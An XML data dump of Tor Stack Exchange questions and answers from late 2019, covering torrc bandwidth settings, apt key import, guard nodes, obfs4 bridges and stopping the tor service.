  <row Id="20647" PostTypeId="2" ParentId="20518" CreationDate="2019-11-25T14:58:04.473" Score="1" Body="&lt;p&gt;You can find this in the manual...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are tons of different handlers against bandwidth, as client-node, the same as a relay-node...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GENERAL OPTIONS&#xA;       BandwidthRate N bytes|KBytes|MBytes|GBytes|TBytes|KBits|MBits|GBits|TBits&#xA;           A token bucket limits the average incoming bandwidth usage on this node to the specified number of bytes per second, and the average outgoing bandwidth usage to that same value. If you want to run a relay in the public network, this needs to be at the very least 75 KBytes for a relay (that is, 600&#xA;           kbits) or 50 KBytes for a bridge (400 kbits) — but of course, more is better; we recommend at least 250 KBytes (2 mbits) if possible. (Default: 1 GByte)&#xA;&#xA;           Note that this option, and other bandwidth-limiting options, apply to TCP data only: They do not count TCP headers or DNS traffic.&#xA;&#xA;           With this option, and in other options that take arguments in bytes, KBytes, and so on, other formats are also supported. Notably, &quot;KBytes&quot; can also be written as &quot;kilobytes&quot; or &quot;kb&quot;; &quot;MBytes&quot; can be written as &quot;megabytes&quot; or &quot;MB&quot;; &quot;kbits&quot; can be written as &quot;kilobits&quot;; and so forth. Tor also accepts&#xA;           &quot;byte&quot; and &quot;bit&quot; in the singular. The prefixes &quot;tera&quot; and &quot;T&quot; are also recognized. If no units are given, we default to bytes. To avoid confusion, we recommend writing &quot;bytes&quot; or &quot;bits&quot; explicitly, since it’s easy to forget that &quot;B&quot; means bytes, not bits.&#xA;&#xA;       BandwidthBurst N bytes|KBytes|MBytes|GBytes|TBytes|KBits|MBits|GBits|TBits&#xA;           Limit the maximum token bucket size (also known as the burst) to the given number of bytes in each direction. (Default: 1 GByte)&#xA;&#xA;       MaxAdvertisedBandwidth N bytes|KBytes|MBytes|GBytes|TBytes|KBits|MBits|GBits|TBits&#xA;           If set, we will not advertise more than this amount of bandwidth for our BandwidthRate. Server operators who want to reduce the number of clients who ask to build circuits through them (since this is proportional to advertised bandwidth rate) can thus reduce the CPU demands on their server without&#xA;           impacting network performance.&#xA;&#xA;       RelayBandwidthRate N bytes|KBytes|MBytes|GBytes|TBytes|KBits|MBits|GBits|TBits&#xA;           If not 0, a separate token bucket limits the average incoming bandwidth usage for _relayed traffic_ on this node to the specified number of bytes per second, and the average outgoing bandwidth usage to that same value. Relayed traffic currently is calculated to include answers to directory requests,&#xA;           but that may change in future versions. They do not include directory fetches by the relay (from authority or other relays), because that is considered &quot;client&quot; activity. (Default: 0)&#xA;&#xA;       RelayBandwidthBurst N bytes|KBytes|MBytes|GBytes|TBytes|KBits|MBits|GBits|TBits&#xA;           If not 0, limit the maximum token bucket size (also known as the burst) for _relayed traffic_ to the given number of bytes in each direction. They do not include directory fetches by the relay (from authority or other relays), because that is considered &quot;client&quot; activity. (Default: 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, you could find much more exotic settings, such as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   AccountingMax N bytes|KBytes|MBytes|GBytes|TBytes|KBits|MBits|GBits|TBits&#xA;       Limits the max number of bytes sent and received within a set time period using a given calculation rule (see: AccountingStart, AccountingRule). Useful if you need to stay under a specific bandwidth. By default, the number used for calculation is the max of either the bytes sent or received. For&#xA;       example, with AccountingMax set to 1 GByte, a server could send 900 MBytes and receive 800 MBytes and continue running. It will only hibernate once one of the two reaches 1 GByte. This can be changed to use the sum of the both bytes received and sent by setting the AccountingRule option to &quot;sum&quot;&#xA;       (total bandwidth in/out). When the number of bytes remaining gets low, Tor will stop accepting new connections and circuits. When the number of bytes is exhausted, Tor will hibernate until some time in the next accounting period. To prevent all servers from waking at the same time, Tor will also&#xA;       wait until a random point in each period before waking up. If you have bandwidth cost issues, enabling hibernation is preferable to setting a low bandwidth, since it provides users with a collection of fast servers that are up some of the time, which is more useful than a set of slow servers that&#xA;       are always &quot;available&quot;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just type &lt;code&gt;# man torrc&lt;/code&gt; in your console. Thereafter, push the &quot;slash&quot; &lt;code&gt;/&lt;/code&gt; BUTTON, and type &quot;bandwidth&quot;, thereafter push &quot;Enter&quot; button.&lt;/p&gt;&#xA;" OwnerUserId="28229" LastEditorUserId="24966" LastEditDate="2019-11-28T15:14:07.487" LastActivityDate="2019-11-28T15:14:07.487" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20648" PostTypeId="1" CreationDate="2019-11-25T17:59:46.730" Score="1" ViewCount="30" Body="&lt;p&gt;On the tor website there is a section:&#xA;&lt;a href=&quot;https://2019.www.torproject.org/docs/signing-keys.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2019.www.torproject.org/docs/signing-keys.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The correct key from Nick Mathewson (0xFE43009C4607B1FB) is not linked there. However the correct key is listed in the file &lt;a href=&quot;https://2019.www.torproject.org/include/keys.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2019.www.torproject.org/include/keys.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could somebody tell me where should I report this? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="28231" LastActivityDate="2020-04-23T19:01:25.173" Title="Verifying Tor source package impossible due to the valid key not linked" Tags="|source-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20649" PostTypeId="2" ParentId="20648" CreationDate="2019-11-25T18:23:23.317" Score="1" Body="&lt;p&gt;Go to &lt;a href=&quot;http://trac.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;trac.torproject.org&lt;/a&gt;. Create an account, then open a ticket.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-11-25T18:23:23.317" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20650" PostTypeId="1" AcceptedAnswerId="20656" CreationDate="2019-11-26T14:23:23.843" Score="0" ViewCount="937" Body="&lt;p&gt;I have a problem with gpg key:    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;curl &lt;a href=&quot;https://deb.torproject.org/torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://deb.torproject.org/torproject.org&lt;/a&gt; /A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89.asc | gpg --import&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&#xA;                             Dload  Upload   Total   Spent    Left  Speed&#xA;100 19665  100 19665    0     0  53005      0 --:--:-- --:--:-- --:--:-- 53005&#xA;gpg: key EE8CBC9E886DDD89: 36 signatures not checked due to missing keys&#xA;gpg: /home/abigael/.gnupg/trustdb.gpg : trust base created&#xA;gpg: clef EE8CBC9E886DDD89 : public key « deb.torproject.org archive signing key » importée&#xA;gpg: Total amount processed : 1&#xA;gpg:               imported : 1&#xA;gpg: no key of ultimate confidence was found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo -i&#xA;gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | apt-key add -&#xA;&#xA;gpg: warning : nothing exported&#xA;gpg: no valid OpenPGP data found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28233" LastActivityDate="2020-01-22T13:32:28.507" Title="Failed to install Tor: no valid OpenPGP data found" Tags="|tor-install|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20651" PostTypeId="2" ParentId="15505" CreationDate="2019-11-26T15:57:00.067" Score="0" Body="&lt;p&gt;I know this is a very old question. But for future reference, the easiest way, I believe is to run the program as administrator. &#xA;You can make this a default setting from the properties&gt;advanced section.&lt;/p&gt;&#xA;" OwnerUserId="28234" LastActivityDate="2019-11-26T15:57:00.067" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20653" PostTypeId="1" CreationDate="2019-11-26T17:16:29.207" Score="2" ViewCount="336" Body="&lt;p&gt;How can I view the currently selected guards of my Tor browser (not just the one in action, but all three, my client keeps in a list)?&lt;/p&gt;&#xA;" OwnerUserId="28237" LastActivityDate="2020-04-28T03:44:35.240" Title="View current set of guard nodes of a certain client" Tags="|guard-node|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20654" PostTypeId="2" ParentId="20653" CreationDate="2019-11-26T17:46:45.363" Score="0" Body="&lt;p&gt;You only get one guard node. After the guard node you traffic goes to the middle node and then to the exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click here to see them:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LrWRv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LrWRv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-11-26T17:46:45.363" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20655" PostTypeId="2" ParentId="20653" CreationDate="2019-11-26T22:28:51.990" Score="1" Body="&lt;p&gt;It depends on your operating system, but on Linux go to &lt;code&gt;tor-browser/Browser/TorBrowser/Data/Tor&lt;/code&gt; and open the file named &lt;code&gt;state&lt;/code&gt;. Here you'll see the sampled guards. Also note the &lt;code&gt;confirmed_idx&lt;/code&gt; field, which states the position of the guard in the confirmed list. Right now Tor uses one guard for circuits, and three directory guards (the other guards will not have &lt;code&gt;confirmed_idx&lt;/code&gt; fields).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I don't think this answer is completely accurate. This is where Tor stores its guards, but I'm not sure I'm interpreting the state file correctly.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="24966" LastEditDate="2020-04-28T03:44:35.240" LastActivityDate="2020-04-28T03:44:35.240" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20656" PostTypeId="2" ParentId="20650" CreationDate="2019-11-26T23:30:54.647" Score="1" Body="&lt;p&gt;The problem seen here is caused by the &lt;code&gt;gpg import&lt;/code&gt; being run as an unprivileged user, and thus the key was imported into that user's keyring, while the &lt;code&gt;gpg export&lt;/code&gt; was being run as &lt;code&gt;root&lt;/code&gt;, and thus was looking for the key to export in &lt;code&gt;root&lt;/code&gt;'s GPG keyring -- which doesn't have it, because it was never imported into &lt;code&gt;root&lt;/code&gt;'s keyring in the first place.  Thus, the most expedient fix is to obtain a &lt;code&gt;root&lt;/code&gt; shell (via &lt;code&gt;sudo -i&lt;/code&gt;) &lt;em&gt;before&lt;/em&gt; running the &lt;code&gt;curl ... | gpg import ...&lt;/code&gt; command, which will import the key into &lt;code&gt;root&lt;/code&gt;'s GPG keyring, and thus it can be found via the &lt;code&gt;gpg export&lt;/code&gt; in the next command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;However&lt;/em&gt;&lt;/strong&gt;, the only part of this sequence that must be run as &lt;code&gt;root&lt;/code&gt; is the &lt;code&gt;apt-key add&lt;/code&gt;, because allowing unprivileged users to add keys to the system's set of trusted repository keys might be a little insecure.  Thus, if operating as an unprivileged user normally, only the &lt;code&gt;apt-key&lt;/code&gt; command has to run with elevated privileges via &lt;code&gt;sudo&lt;/code&gt;, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add -&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27799" LastActivityDate="2019-11-26T23:30:54.647" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20657" PostTypeId="1" AcceptedAnswerId="20659" CreationDate="2019-11-27T09:14:39.187" Score="2" ViewCount="4434" Body="&lt;p&gt;How to stop tor in the most elegant way possible using only the command line?&#xA;I'm ok with starting tor using tor -f [args] but what about a tor -stop command?Does it exist?&#xA;I want to avoid systemctl because it doesn't accept args&lt;/p&gt;&#xA;" OwnerUserId="28239" LastActivityDate="2022-08-08T18:02:05.753" Title="How to stop tor command line?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20658" PostTypeId="2" ParentId="19686" CreationDate="2019-11-27T10:05:06.287" Score="0" Body="&lt;p&gt;I think this is pretty much expected. When I compare this to my Docker-Containers (based on Debian), then is is the last line in my tor-log-file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please check via netstat, if tor made any connections. These additional connections are necessary, but for some reason not displayed by tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also maybe you should run &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor &amp;amp;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so that tor runs in the background. This enables you to use the terminal, after tor was started / bootstrapped. Alternatively you could also open up a second terminal and check for connections there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As @steve already mentioned it is hard to tell what you want to do, if you don't tell us.&lt;/p&gt;&#xA;" OwnerUserId="18763" LastActivityDate="2019-11-27T10:05:06.287" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20659" PostTypeId="2" ParentId="20657" CreationDate="2019-11-27T15:23:14.140" Score="4" Body="&lt;p&gt;Here's the answer:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;torctl stop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here's how I found it. I opened the &lt;code&gt;/usr/lib/systemd/system/tor.service&lt;/code&gt; file and saw that the commands used by systemd are:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ExecStart=/usr/bin/torctl start&#xA;ExecReload=/usr/bin/torctl reload&#xA;ExecStop=/usr/bin/torctl stop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So you absolutely can use arguments with systemctl. You just have to put them into the &lt;code&gt;.service&lt;/code&gt; config file.&lt;/p&gt;&#xA;&lt;p&gt;Of course, this answer may vary slightly depending on your Linux distribution, but since you didn't specify which one you use, I am providing the answer for OpenSUSE which is the distro that I use.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastEditorUserId="13068" LastEditDate="2022-08-08T18:02:05.753" LastActivityDate="2022-08-08T18:02:05.753" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20660" PostTypeId="1" AcceptedAnswerId="20662" CreationDate="2019-11-28T02:19:46.233" Score="2" ViewCount="99" Body="&lt;p&gt;I was looking for some kind of documentation on what API's and scripts does the TOR browser blocks (mainly as a defense for fingerprinting). I have come across the &lt;a href=&quot;https://2019.www.torproject.org/projects/torbrowser/design/#fingerprinting-linkability&quot; rel=&quot;nofollow noreferrer&quot;&gt;Design and Implementation document of the Tor Browser&lt;/a&gt; but was confused whether the list of API's mentioned in the document are all of the API's that get blocked.&lt;/p&gt;&#xA;" OwnerUserId="28241" LastActivityDate="2019-12-03T23:04:30.007" Title="Is there a list of API's that TOR browser blocks" Tags="|tor-browser-bundle|fingerprinting|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20661" PostTypeId="1" CreationDate="2019-11-28T06:29:50.500" Score="2" ViewCount="279" Body="&lt;p&gt;I deployed a Tor Bridge on Google Cloud. I can connect to the bridge from my local machine(Tor Browser on the local machine) using this - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Googe cloud ip&amp;gt;:9001&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;9001 is ORPort on Google cloud.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I want to use pluggable transport and I build it using this repository - &lt;a href=&quot;https://github.com/Yawning/obfs4&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Yawning/obfs4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Placed obfsproxy file in /usr/local/bin/obfsproxy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my torrc file which is on Google cloud &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Exitpolicy reject *:*&#xA;RunAsDaemon 1&#xA;ORPort 9001&#xA;BridgeRelay 1&#xA;ServerTransportPlugin obfs4 exec /usr/local/bin/obfs4proxy&#xA;ServerTransportListenAddr obfs4 0.0.0.0:443&#xA;ExtORPort auto&#xA;ContactInfo &amp;lt;Email Address&amp;gt;&#xA;Nickname &amp;lt;name&amp;gt;&#xA;PublishServerDescriptor 0&#xA;ControlPort 9051&#xA;CookieAuthentication 1&#xA;Log notice file /var/log/tor/notices.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now when I tried to connect to the bridge by placing this line in torrc line at my local machine-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/tor-browser_en-US/Browser/TorBrowser/Data/Tor/torrc&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obfs4 &amp;lt;Google cloud ip&amp;gt;:9001 fingerprint iat-mode=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not able to connect to the bridge now, Also I wasn't sure about the ORPort so I used this as well -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obfs4 &amp;lt;Google cloud ip&amp;gt;:443 fingerprint iat-mode=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;443 -&gt; Port for pluggable transport. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Errors I get -&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[WARN] Proxy Client: unable to connect to &amp;lt;Googe cloud ip&amp;gt;:9001 (&quot;general SOCKS server failure&quot;)&#xA;[NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please let me know what I am doing wrong here and how can I connect to bridge(with obfs4) because without obfs4 I am able to connect without having any problem.&lt;/p&gt;&#xA;" OwnerUserId="28242" LastActivityDate="2019-11-28T06:29:50.500" Title="Connect to Tor Bridge running on Google Cloud" Tags="|configuration|torsocks|pluggable-transports|obfs4|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20662" PostTypeId="2" ParentId="20660" CreationDate="2019-11-28T07:14:07.990" Score="2" Body="&lt;p&gt;Tor doesn't block APIs (this is virtually impossible and probably not what you want to do), Tor blocks web pages which addresses match a given check on a blacklist or entire types of content like JavaScript, iframes and fonts. There is no list as such.&lt;/p&gt;&#xA;" OwnerUserId="459" LastEditorUserId="459" LastEditDate="2019-12-03T23:04:30.007" LastActivityDate="2019-12-03T23:04:30.007" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20665" PostTypeId="2" ParentId="20618" CreationDate="2019-11-28T20:26:55.877" Score="1" Body="&lt;p&gt;Try - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo systemctl stop tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the worst case scenario -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo killall tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will kill all the process related to tor&lt;/p&gt;&#xA;" OwnerUserId="28242" LastActivityDate="2019-11-28T20:26:55.877" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20667" PostTypeId="1" CreationDate="2019-11-30T14:08:31.970" Score="0" ViewCount="582" Body="&lt;p&gt;When you connect to a normal website using tor, is the process of connecting to it the same as when you connect to a hidden website?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you connect to the entry node, then middle node then exit node takes you to the website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the same apply when you connect to a hidden website? Are there any differences? Any security or privacy advantages or disadvantages?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are the number of nodes used to connect same also?   (3 nodes) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Is it possible to increase the number of nodes when connecting to tor (normal and hidden website)? If you could increase the number of nodes required to make a connection, it would reduce the speed but would it provide additional privacy and/or security?&lt;/p&gt;&#xA;" OwnerUserId="28246" LastEditorUserId="28246" LastEditDate="2019-11-30T14:29:59.000" LastActivityDate="2022-04-21T22:42:55.440" Title="Does connecting to a normal website using tor work the same way as connecting to a hidden website?" Tags="|onion-services|anonymity|security|guard-node|node|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20668" PostTypeId="2" ParentId="20667" CreationDate="2019-11-30T18:26:15.990" Score="0" Body="&lt;p&gt;Both of your questions are addressed by the &lt;a href=&quot;https://2019.www.torproject.org/docs/faq.html.en#ChoosePathLength&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Project FAQ&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Right now the path length is hard-coded at 3 plus the number of nodes&#xA;  in your path that are sensitive. That is, in normal cases it's 3, but&#xA;  for example if you're accessing an onion service or a &quot;.exit&quot; address&#xA;  it could be 4.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We don't want to encourage people to use paths longer than this — it&#xA;  increases load on the network without (as far as we can tell)&#xA;  providing any more security. Remember that the best way to attack Tor&#xA;  is to attack the endpoints and ignore the middle of the path. Also,&#xA;  using paths longer than 3 could harm anonymity, first because it makes&#xA;  &quot;denial of security&quot; attacks easier, and second because it could act&#xA;  as an identifier if only a few people do it (&quot;Oh, there's that person&#xA;  who changed her path length again&quot;).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;And we don't want to encourage people to use paths of length 1 either.&#xA;  Currently there is no reason to suspect that investigating a single&#xA;  relay will yield user-destination pairs, but if many people are using&#xA;  only a single hop, we make it more likely that attackers will seize or&#xA;  break into relays in hopes of tracing users.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you need more details, read the &lt;a href=&quot;https://svn-archive.torproject.org/svn/projects/design-paper/tor-design.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor design documents&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-11-30T18:26:15.990" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20669" PostTypeId="2" ParentId="216" CreationDate="2019-11-30T22:36:34.887" Score="1" Body="&lt;p&gt;There is procedure in Tor for reporting bad relays:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/ReportingBadRelays&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/ReportingBadRelays&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Send email to address &lt;a href=&quot;http://bad-relays@lists.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;bad-relays@lists.torproject.org&lt;/a&gt; and describe the behavior you observed (the suspicious criteria are in the wiki).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is &lt;strong&gt;no&lt;/strong&gt; automatic way of detecting such nodes, only manually.&lt;/p&gt;&#xA;" OwnerUserId="7324" LastActivityDate="2019-11-30T22:36:34.887" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20670" PostTypeId="2" ParentId="15060" CreationDate="2019-12-01T01:59:25.857" Score="0" Body="&lt;p&gt;(i dont have enough rep to comment in the correct answer) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To the above answer I would add an example. Many deprecated manuals/tutorials as part of the torrc config file point the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TransPort 9040&#xA;TransListenAddress 192.168.50.1&#xA;DNSPort 53&#xA;DNSListenAddress 192.168.50.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;being 192.168.50.1 the configured AP IP. Since &lt;code&gt;TransListenAddress&lt;/code&gt; and &lt;code&gt;DNSListenAddress&lt;/code&gt; are deprecated the configuration should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TransPort 192.168.50.1:9040&#xA;DNSPort 192.168.50.1:53&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28247" LastActivityDate="2019-12-01T01:59:25.857" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20672" PostTypeId="1" AcceptedAnswerId="20682" CreationDate="2019-12-01T05:22:05.387" Score="0" ViewCount="341" Body="&lt;p&gt;What can you do to avoid connecting with  a malicious exit node?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides choosing a country where you are less likely to have a malicious exit node. &#xA;What countries do you think are more likely to be unsafe? USA?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I don't think that is enough. What other steps can you take?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Are there any nodes which are known to be safe? Is it possible to connect to a specific exit node?&lt;/p&gt;&#xA;" OwnerUserId="28246" LastEditorUserId="28246" LastEditDate="2019-12-02T15:52:21.357" LastActivityDate="2019-12-04T16:13:20.883" Title="How can you reduce the chances of connecting to a malicious exit node?" Tags="|exit-relays|node|malware|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20673" PostTypeId="1" CreationDate="2019-12-01T09:28:57.090" Score="3" ViewCount="882" Body="&lt;p&gt;Can I use curl/wget/aria2c with Tor for batch downloads and appearing from a new exit node for each download? That is, I want to feed curl/wget/aria2c 1000 links to download over http(s) that each appear from a new, random, exit node (since it is random, in rare cases two downloads might appear from the same node).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is &quot;good enough&quot; to create e.g., 100 circuits and then reuse them.&lt;/p&gt;&#xA;" OwnerUserId="22915" LastActivityDate="2023-07-12T19:49:13.853" Title="Batch use curl/wget/aria2c with Tor and open a new Tor route for each download?" Tags="|exit-relays|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20674" PostTypeId="1" CreationDate="2019-12-01T14:15:48.677" Score="0" ViewCount="365" Body="&lt;p&gt;If no, then is there any way to connect a clearnet website, hosted on shared web hosting, with a .onion domain name?&lt;/p&gt;&#xA;" OwnerUserId="28248" LastActivityDate="2019-12-04T22:22:28.273" Title="Can we host a Tor website on a shared web hosting?" Tags="|web-hosting|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20675" PostTypeId="2" ParentId="20496" CreationDate="2019-12-01T15:05:17.173" Score="0" Body="&lt;p&gt;You are looking for &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy&quot; rel=&quot;nofollow noreferrer&quot;&gt;TransparentProxy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, try to read manual, you can do this by typing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# man torrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is such information about transport's options:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;TransPort [address:]port|auto [isolation flags]&#xA;    Open this port to listen for transparent proxy connections. Set this to 0 if you don’t want to allow transparent proxy&#xA;  connections. Set the port to &quot;auto&quot; to have Tor pick a port for you.&#xA;  This directive can be specified multiple times to bind to multiple&#xA;  addresses/ports. If multiple entries of this&#xA;             option are present in your configuration file, Tor will perform stream isolation between listeners by default. See SOCKSPort&#xA;  for an explanation of isolation flags.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;TransPort requires OS support for transparent proxies, such as BSDs' pf or Linux’s IPTables. If you’re planning to use Tor as a&#xA;  transparent proxy for a network, you’ll want to examine and change&#xA;  VirtualAddrNetwork from the default setting. (Default: 0)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also, you would like to google for &lt;code&gt;Tor-middle-box&lt;/code&gt;, it shall be a little bit safer. In such scenario: lets suppose, there are little buggies inside linux kernel still &amp;amp;&amp;amp; network stack &amp;amp;&amp;amp; iptables.. and whatever.... So, in that way, your transparent proxy might blinks from time to time, there was such bad situation, earlier... And couple of your DNS requests, from-time-to-time goes right to google's DNS &lt;code&gt;4.2.2.2&lt;/code&gt; in plain, from your real IP. Not fine, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, &lt;code&gt;Tor-middle-box&lt;/code&gt; - is a separate computer, often Raspberry-Pi based tiny tor-box, which convert all your traffic into Tor-network, like man-in-the-middle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is much easier to design really secure hardware isolated Tor-proxy, than construct something virtual with iptables or even LXC, etc...&lt;/p&gt;&#xA;" OwnerUserId="28229" LastActivityDate="2019-12-01T15:05:17.173" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
